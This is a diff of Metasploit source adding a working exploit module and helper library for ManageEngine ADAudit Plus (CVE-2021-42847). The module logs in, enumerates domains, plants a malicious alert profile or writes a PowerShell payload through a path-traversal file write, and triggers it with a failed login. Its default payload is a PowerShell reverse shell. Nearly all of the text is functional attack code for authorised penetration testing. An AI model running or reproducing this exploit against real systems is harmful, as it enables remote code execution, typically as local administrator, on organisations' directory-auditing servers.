css_configured_domains = css_dom_name.css('option')
return no_domains_response if css_configured_domains.blank?
css_configured_domains.each do |domain|
next unless domain&.keys&.include?('value')
value = domain['value']
domain_aliases << value
end
return no_domains_response if domain_aliases.empty?
{
'status' => adaudit_plus_status::SUCCESS,
'message' => "Identified #{domain_aliases.length} configured authentication domain(s): #{domain_aliases.join(', ')}",
'domain_aliases' => domain_aliases
}
end
# Performs an API call to obtain the configured domains. The adapcsrf
# cookie obtained from this request is necessary to perform
# further authenticated actions.
#
# @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action
# @param only_get_cookie [Boolean] If this is enabled, the method will only try to obtain an
# 'adapcsrf' cookie that is required to perform API calls.
# @return [Hash] Hash containing a `status` key, which is used to hold a
# status value as an Integer value, an optional `message` key, which is
# used to hold a message associated with the status value as a String,
# an optional `adapcsrf_cookie` key which maps to a String containing the
# adapcsrf cookie to be used for authentication purposes, and an
# optional `configured_domains` key which maps to an Array of Strings,
# each containing a domain name that has been configured to be used by
# the ManageEngine ADAudit Plus target.
def adaudit_plus_grab_configured_domains(adapcsrf_cookie, only_get_cookie = false)
vprint_status('Attempting to obtain the list of configured domains...') unless only_get_cookie
res = send_request_cgi({
'uri' => adaudit_plus_configured_domains_uri,
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'JSONString' => '{"checkGDPR":true}',
'adapcsrf' => adapcsrf_cookie.to_s
}
})
if only_get_cookie
purpose = 'obtain the adapcsrf cookie required to perform API calls'
else
purpose = 'obtain the list of configured domains'
end
unless res
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => "Connection failed while attempting to #{purpose}."
}
end
# if we didn't get an expected response, we should always return since we won't be able to return the domains and/or a valid cookie
unless res.code == 200 && res.body&.include?('domainFullList')
return {
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => "Unexpected reply while attempting to #{purpose}."
}
end
# try to obtain the adapcsrf cookie
adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first
got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false
# if we have no valid cookie there is no point in continuing
unless got_cookie
return {
'status' => adaudit_plus_status::NO_ACCESS,
'message' => 'Failed to obtain the adapcsrf cookie required to perform API calls'
}
end
# if we only wanted to obtain the cookie, we can return here
if only_get_cookie
return {
'status' => adaudit_plus_status::SUCCESS,
'message' => 'Obtained the adapcsrf cookie required to perform API calls!',
'adapcsrf_cookie' => adapcsrf_cookie.value
}
end
# if we are here, we want to obtain the configured domains as well as the cookie
configured_domains = []
begin
domain_info = JSON.parse(res.body)
if domain_info && domain_info.include?('domainFullList') && !domain_info['domainFullList'].empty?
domain_full_list = domain_info['domainFullList']
domain_full_list.each do |domain|
next unless domain.is_a?(Hash) && domain.key?('name')
domain_name = domain['name']
next if domain_name.empty?
configured_domains << domain_name
end
else
print_error('Failed to identify any configured domains.')
end
rescue JSON::ParserError => e
print_error('Failed to identify any configured domains - The server response did not contain valid JSON.')
print_error("Error was: #{e.message}")
end
if configured_domains.empty?
return {
'status' => adaudit_plus_status::NO_DOMAINS,
'message' => 'Failed to obtain the list of configured domains.',
'adapcsrf_cookie' => adapcsrf_cookie.value
}
end
print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}")
{
'status' => adaudit_plus_status::SUCCESS,
'message' => 'Obtained the adapcsrf cookie required to perform API calls along with the configured domains!',
'adapcsrf_cookie' => adapcsrf_cookie.value,
'configured_domains' => configured_domains
}
end
# Check the build number for the ADAudit Plus installation
#
# @param adapcsrf_cookie [String] A valid ADAP CSRF cookie for API calls.
# @see adaudit_plus_login The function which can be called to obtain a
# valid CSRF cookie that can be used by this code.
# @return [Hash] Hash containing a `status` key, which is used to hold a
# status value as an Integer value, a `message` key, which is used
# to hold a message associated with the status value as a String,
# and an optional 'build_version' key, which is used to hold an object
# of type Rex::Version if the build number was successfully obtained.
def adaudit_plus_grab_build(adapcsrf_cookie)
vprint_status('Attempting to obtain the ADAudit Plus build number')
res = send_request_cgi({
'uri' => adaudit_plus_license_details_uri,
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => { 'adapcsrf' => adapcsrf_cookie.to_s }
})
unless res
return {
'status' => adaudit_plus_status::CONNECTION_FAILED,
'message' => 'Connection failed while attempting to obtain the build number.'
}
end
unless res.code == 200
return {
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => "Received unexpected HTTP response #{res.code} when attempting to obtain the build number."
}
end
build = res.body&.scan(/"buildNumber":"(\s*\d{4}\s*)",/)&.flatten&.first
if build.blank?
return {
'status' => adaudit_plus_status::NO_BUILD_NUMBER,
'message' => 'No build number was obtained.'
}
end
unless build.strip =~ /^\d{4}$/
return {
'status' => adaudit_plus_status::UNEXPECTED_REPLY,
'message' => "Received an invalid build number: #{build}"
}
end
{
'status' => adaudit_plus_status::SUCCESS,
'message' => "The target is ADAudit Plus #{build}",
'build_version' => Rex::Version.new(build)
}
end
# Check if the GPOWatcherData endpoint is available
#
# @return [Integer] Status code
def gpo_watcher_data_check
res = send_request_cgi({
'uri' => adaudit_plus_gpo_watcher_data_uri,
'method' => 'POST'
})
return adaudit_plus_status::CONNECTION_FAILED unless res
return adaudit_plus_status::NO_ACCESS unless res.code == 200
adaudit_plus_status::SUCCESS
end
end
@@ -0,0 +1,55 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs
# Required for target_uri and normalize_uri
include Msf::Exploit::Remote::HttpClient
# Returns GPOWatcherData endpoint URI on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus GPOWatcherData endpoint URI
def adaudit_plus_gpo_watcher_data_uri
normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData')
end
# Returns the Login URI on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus Login URI
def adaudit_plus_login_uri
normalize_uri(target_uri.path, 'j_security_check')
end
# Returns the License Details URI on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus License Details URI
def adaudit_plus_license_details_uri
normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails')
end
# Returns the JumpTo.js URI on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus JumpTo.js URI
def adaudit_plus_jump_to_js_uri
normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js')
end
# Returns the configuredDomainsList URI on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus configuredDomainsList URI
def adaudit_plus_configured_domains_uri
normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList')
end
# Returns the jsMessage URI on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus jsMessage URI
def adaudit_api_js_message_uri
normalize_uri(target_uri.path, 'api', 'json', 'jsMessage')
end
# Returns the URI to save alert profiles on the ManageEngine ADAudit Plus target.
#
# @return [String] ManageEngine ADAudit Plus URI to save alert profiles
def adaudit_api_alertprofiles_save_uri
normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save')
end
end
+5
View File
@@ -77,6 +77,11 @@ module Rex::Proto::MsDtyp
# weirdly doesn't mention this needs to be 4 byte aligned for us to read it correctly,
# which the RubySMB::Dcerpc::Uuid definition takes care of.
class MsDtypGuid < RubySMB::Dcerpc::Uuid
def self.random_generate
# Taken from the "D" format as specified in
# https://learn.microsoft.com/en-us/dotnet/api/system.guid.tostring?view=net-7.0
"{#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}}".downcase
end
end
# Definitions taken from [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586)
@@ -0,0 +1,606 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',
'Description' => %q{
This module exploits security issues in ManageEngine ADAudit Plus
prior to 7006 that allow authenticated users to execute arbitrary
code by creating a custom alert profile and leveraging its custom
alert script component.
The module first runs a few checks to test the provided
credentials, retrieve the configured domain(s) and obtain the
build number of the target ADAudit Plus server.
If the credentials are valid and the target is
vulnerable, the module creates an alert profile that will be
triggered for any failed login attempt to the configured domain.
For versions prior to build 7004, the payload is directly inserted
in the custom alert script component of the alert profile.
For versions 7004 and 7005, the module leverages an arbitrary file
write vulnerability (CVE-2021-42847) to create a Powershell script
in the alert_scripts directory that contains the payload. The name
of this script is then provided as the value for the custom alert
script component of the alert profile.
This module requires valid credentials for an account with the
privileges to create alert scripts. It has been successfully tested
against ManageEngine ADAudit Plus builds 7003 and 7005 running on
Windows Server 2012 R2.
Successful exploitation will result in RCE as the user running
ManageEngine ADAudit Plus, which will typically be the local
administrator.
},
'License' => MSF_LICENSE,
'Author' => [
'Moon', # CVE-2021-42847 discovery
'Erik Wynter' # @wyntererik - Additional research and Metasploit module
],
'References' => [
['CVE', '2021-42847'],
['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],
['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']
],
'Privileged' => true,
'DisclosureDate' => '2021-10-01',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Targets' => [
[
'Windows Command',
{
'Type' => :win_cmd,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8081,
'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),
OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),
])
end
def auth_domain
datastore['AUTH_DOMAIN']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def delete_alert(adapcsrf_cookie)
print_status("Attempting to delete alert profile #{@alert_name}")
# let's try and get the the ID of the alert we want to delete
res_get_alert = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'TAB_ID' => '5', # this cannot be randomized
'adapcsrf' => adapcsrf_cookie
}
})
unless res_get_alert
print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
return
end
unless res_get_alert.code == 200 && !res_get_alert.body.empty?
print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
return
end
alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first
if alert_id.blank?
print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")
return
end
# delete the alert
res_delete_alert = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'data' => { 'ids' => [alert_id] }.to_json,
'adapcsrf' => adapcsrf_cookie
}
})
unless res_delete_alert
print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
return
end
unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')
print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")
return
end
print_good("Successfully deleted alert profile #{@alert_name}")
end
def create_alert_profile
if @exploit_method == 'cve_2021_42847'
print_status('Attempting to authenticate again in order to retrieve the required cookies.')
# We have to authenticate again in order to get the required cookie, so reset the cookie cache
cookie_jar.clear
login_results = adaudit_plus_login(auth_domain, username, password, true)
login_msg = login_results['message']
case login_results['status']
when adaudit_plus_status::CONNECTION_FAILED
fail_with(Failure::Unreachable, login_msg)
when adaudit_plus_status::UNEXPECTED_REPLY
fail_with(Failure::UnexpectedReply, login_msg)
when adaudit_plus_status::NO_ACCESS
fail_with(Failure::NoAccess, login_msg)
when adaudit_plus_status::SUCCESS
# just to distinguish it from any other potential statuses this method may return in the future
else
# this covers other potential statuses that this method may return in the future
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS
# however, if it would do so due to some library change, treating it as an unknown failure makes sense
fail_with(Failure::Unknown, login_msg)
end
# Code must have been a success related code so we should have
# an adapcsrf_cookie entry within the login results hash.
@adapcsrf_cookie = login_results['adapcsrf_cookie']
end
print_status('Attempting to create an alert profile')
# visit /api/json/jsMessage to see if we're dealing with 7003 or lower
res_check_7004 = send_request_cgi({
'uri' => adaudit_api_js_message_uri,
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }
})
unless res_check_7004
fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')
end
unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')
fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')
end
alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\
'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'
if res_check_7004.body&.include?(alert_script_7004_msg)
# we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847
unless @exploit_method == 'cve_2021_42847'
# let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck
gpo_watcher_status = gpo_watcher_data_check
if gpo_watcher_status == adaudit_plus_status::SUCCESS
@exploit_method = 'cve_2021_42847'
else
fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')
end
# here we have to authenticate again in order to get the required adapcsrf cookie
cookie_jar.clear
login_results = adaudit_plus_login(auth_domain, username, password, true)
login_msg = login_results['message']
case login_results['status']
when adaudit_plus_status::CONNECTION_FAILED
fail_with(Failure::Unreachable, login_msg)
when adaudit_plus_status::UNEXPECTED_REPLY
fail_with(Failure::UnexpectedReply, login_msg)
when adaudit_plus_status::NO_ACCESS
fail_with(Failure::NoAccess, login_msg)
when adaudit_plus_status::SUCCESS
# just to distinguish it from any other potential statuses this method may return in the future
else
fail_with(Failure::Unknown, login_msg)
end
@adapcsrf_cookie = login_results['adapcsrf_cookie']
end
# We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name
# when creating the alert profile. Therefore call the function to create this alert script and save the name of the
# script location.
@ps1_script_name = create_alert_script
end
# save the alert profile
@alert_name, alert_data = alert_profile_info
res_save_alert = send_request_cgi({
'uri' => adaudit_api_alertprofiles_save_uri,
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'data' => alert_data,
'adapcsrf' => @adapcsrf_cookie
}
})
unless res_save_alert
fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
end
unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')
print_error("The server sent the following response: #{res_save_alert.body&.strip}")
@alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil
fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")
end
print_good("Successfully created alert profile #{@alert_name}")
end
def alert_profile_info
script_location = @ps1_script_name || payload.encoded
alert_name = rand_text_alphanumeric(8..12)
alert_data = {
'alertName' => alert_name,
'alertDescription' => rand_text_alpha(20..30),
'alertSeverity' => '1',
'alertMsg' => '%FORMAT_MESSAGE%',
'alertIsMailNotify' => false,
'alertIsSMSNotify' => false,
'monitorList' => [1],
'selectedCategory' => 'All',
'domainName' => @domain,
'isSave' => true,
'alertProfileId' => 'new',
'thresholdBasedAlert' => false,
'thresholdCount' => rand(5..15),
'thresholdPeriod' => '=',
'thresholdInterval' => rand(3..10),
'thresholdGroupingColumns' => [],
'throttleBasedAlert' => false,
'throttleInterval' => rand(30..90),
'throttleGroupingColumns' => [],
'userMap' => {},
'hourBasedAlert' => false,
'contentType' => 'html',
'alertMsgNeeded' => true,
'alertProfileNameNeeded' => true,
'mailAlertLink' => '',
'eventDetails' => true,
'emailMoreRecipients' => '',
'smsMoreRecipients' => '',
'scriptLocation' => script_location,
'alertFilter' => false,
'criteriaValue' => '-'
}.to_json
# we need to send along the alert name too since we'll need it to delete the alert after it's been created
[alert_name, alert_data]
end
def create_alert_script
ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"
print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")
if @domain.blank?
@domain = "#{rand_text_alpha_lower(5..10)}.local"
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
end
gpo_post_data = {
'DOMAIN_NAME' => @domain,
'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed
'htmlReport' => payload.encoded
}
res = send_request_cgi({
'method' => 'POST',
'uri' => adaudit_plus_gpo_watcher_data_uri,
'ctype' => 'application/json',
'data' => generate_gpo_watcher_data_json(gpo_post_data)
})
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
unless res.code == 200 && res.body&.include?('{"success":true}')
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
end
print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")
ps1_script_name
end
def check
target_check_results = adaudit_plus_target_check
target_check_msg = target_check_results['message']
case target_check_results['status']
when adaudit_plus_status::CONNECTION_FAILED
return CheckCode::Unknown(target_check_msg)
when adaudit_plus_status::UNEXPECTED_REPLY
return CheckCode::Safe(target_check_msg)
when adaudit_plus_status::SUCCESS
vprint_status(target_check_msg)
else
# this covers cases that may be added in the future
return CheckCode::Unknown(target_check_msg)
end
target_check_res = target_check_results['server_response']
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to
# ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,
# we can try to extract the FQDN for a configured domain from the server response
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)
domain_alias_msg = domain_alias_results['message']
if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS
return CheckCode::Safe(domain_alias_msg)
end
domain_aliases = domain_alias_results['domain_aliases']
# check if we actually have any configured domain aliases now, otherwise the target isn't exploitable
if domain_aliases.blank?
return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')
end
# if the only configured domain is the default domain, we will not be able to trigger the payload, so
# stop as there is no point in proceeding
if domain_aliases == ['ADAuditPlus Authentication']
return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
end
# set the domain alias to the first configured domain, unless the user provided an invalid domain
# in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)
vprint_status(domain_alias_msg)
@domain_alias = domain_aliases.first
print_status("Using configured authentication domain alias #{@domain_alias}.")
else
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
print_status(domain_alias_msg)
return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
end
print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")
login_results = adaudit_plus_login(auth_domain, username, password, false)
login_msg = login_results['message']
case login_results['status']
when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY
return CheckCode::Unknown(login_msg)
when adaudit_plus_status::NO_ACCESS, NO_DOMAINS
# if we cannot authenticate, we can't create an alert profile so exploitation is impossible
# if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible
return CheckCode::Safe(login_msg)
when adaudit_plus_status::SUCCESS
@domain = login_results['configured_domains'].first
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
end
print_good('Successfully authenticated')
@adapcsrf_cookie = login_results['adapcsrf_cookie']
# check the build version to see if we can actually exploit the target
build_results = adaudit_plus_grab_build(@adapcsrf_cookie)
build_msg = build_results['message']
unless build_results['status'] == adaudit_plus_status::SUCCESS
# if we don't get a valid build number, we don't know what the target is, so we can't proceed
# however, we can also not say that the target is safe or detected, so we return Unknown
return CheckCode::Unknown(build_msg)
end
build_version = build_results['build_version']
if build_version < Rex::Version.new('7004')
@exploit_method = 'default'
CheckCode::Appears("The target is ADAudit Plus #{build_version}")
# For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists
elsif build_version < Rex::Version.new('7006')
gpo_watcher_status = gpo_watcher_data_check
case gpo_watcher_status
when adaudit_plus_status::SUCCESS
@exploit_method = 'cve_2021_42847'
return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")
when adaudit_plus_status::CONNECTION_FAILED
return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")
when adaudit_plus_status::NO_ACCESS
return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")
end
else
CheckCode::Safe("The target is ADAudit Plus #{build_version}")
end
end
def exploit
if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method
@exploit_method = 'default'
elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/
print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')
print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')
end
if @adapcsrf_cookie.blank?
# let's clear the cookie jar and try to authenticate
cookie_jar.clear
print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")
login_results = adaudit_plus_login(auth_domain, username, password, false)
login_msg = login_results['message']
case login_results['status']
when adaudit_plus_status::CONNECTION_FAILED
fail_with(Failure::Unreachable, login_msg)
when adaudit_plus_status::UNEXPECTED_REPLY
fail_with(Failure::UnexpectedReply, login_msg)
when adaudit_plus_status::NO_ACCESS
fail_with(Failure::NoAccess, login_msg)
when adaudit_plus_status::NO_DOMAINS
fail_with(Failure::NotVulnerable, login_msg)
when adaudit_plus_status::SUCCESS
@domain = login_results['configured_domains'].first
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
else
# this covers other potential statuses that may be added in the future
fail_with(Failure::Unknown, login_msg)
end
print_good('Successfully authenticated')
@adapcsrf_cookie = login_results['adapcsrf_cookie']
end
# let's create the alert profile
create_alert_profile
# time to trigger the payload
if @domain_alias.nil?
# this means check didn't run, so we need to obtain the configured Active Directory domains
target_check_results = adaudit_plus_target_check
target_check_status = target_check_results['status']
target_check_msg = target_check_results['message']
unless target_check_status == adaudit_plus_status::SUCCESS
print_error('Failed to obtain the configured Active Directory domain aliases')
case target_check_status
when adaudit_plus_status::CONNECTION_FAILED
fail_with(Failure::Unreachable, target_check_msg)
when adaudit_plus_status::UNEXPECTED_REPLY
fail_with(Failure::UnexpectedReply, target_check_msg)
else
# this covers other potential statuses that this method may return in the future
fail_with(Failure::Unknown, target_check_msg)
end
end
target_check_res = target_check_results['server_response']
fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to
# ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,
# we can try to extract the FQDN for a configured domain from the server response.
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)
domain_alias_msg = domain_alias_results['message']
case domain_alias_results['status']
when adaudit_plus_status::NO_DOMAINS
fail_with(Failure::NotVulnerable, domain_alias_msg)
when adaudit_plus_status::SUCCESS
# make sure we actually have a domain alias, otherwise the target is not vulnerable
if domain_alias_results['domain_aliases'].blank?
fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')
end
else
fail_with(Failure::Unknown, domain_alias_msg)
end
domain_aliases = domain_alias_results['domain_aliases']
# if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed
if domain_aliases == ['ADAuditPlus Authentication']
fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
end
# set the domain alias to the first configured domain, unless the user provided an invalid domain
# in the latter case, the module won't be able to authenticate to the target so there's no point to proceed
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)
vprint_status(domain_alias_msg)
@domain_alias = domain_aliases.first
print_status("Using configured authentication domain alias #{@domain_alias}.")
else
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
print_status(domain_alias_msg)
fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
end
end
print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")
login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)
login_msg = login_results['message']
manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."
case login_results['status']
when adaudit_plus_status::CONNECTION_FAILED
fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")
when adaudit_plus_status::UNEXPECTED_REPLY
fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")
when adaudit_plus_status::NO_ACCESS
print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")
when adaudit_plus_status::SUCCESS
fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")
else
print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')
end
@pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session
end
def cleanup
return unless @alert_name # this should only run if we actually created an alert
if @pwned == 0
print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')
end
cookie_jar.clear
login_results = adaudit_plus_login(auth_domain, username, password, true)
case login_results['status']
when adaudit_plus_status::SUCCESS
delete_alert(login_results['adapcsrf_cookie'])
when adaudit_plus_status::CONNECTION_FAILED
print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')
when adaudit_plus_status::UNEXPECTED_REPLY
print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')
when adaudit_plus_status::NO_ACCESS
print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')
else
# this covers other potential statuses that this method may return in the future
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS
# however, if it would do so due to some library change, treating it as unexpected reply makes sense
print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')
end
end
def on_new_session(cli)
@pwned += 1
# if we wrote a PowerShell script to /alert_scripts, remind the user to delete it
# we may get two shells, so let's not repeat ourselves
if @pwned == 1
# I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically
# but when loading them manually, they worked it fine
if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason
print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")
end
if @ps1_script_name
# meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script
print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")
end
end
super
end
end